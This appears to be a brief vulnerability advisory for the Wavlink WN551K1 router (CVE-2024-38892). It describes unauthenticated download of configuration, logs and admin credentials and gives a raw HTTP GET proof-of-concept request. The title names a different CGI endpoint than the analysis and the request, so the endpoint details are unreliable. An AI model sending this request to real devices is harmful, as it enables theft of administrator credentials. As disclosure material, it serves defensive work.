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Wavlink WN551K1 /cgi-bin/ExportAllSettings.sh Sensitive information leakage

Product: Wavlink WN551K1

Manufacturer's website information：https://www.wavlink.com/en_us/index.html

Firmware download address ：https://files.wavlink.com/fw/mesh/WN551K1%2CK2%2CK3-C-WAVLINK-WO-20210427-1087985

CVE-ID :

CVE-2024-38892

Analysis

The component /cgi-bin/ExportLogs.sh of WAVLINK WN551K1 k2 k3 has an access control issue that allows an unauthenticated attacker to download configuration data and log files and obtain administrator credentials.

image-20240624091755856

POC

GET /cgi-bin/ExportLogs.sh HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Upgrade-Insecure-Requests: 1

image-20240624091827803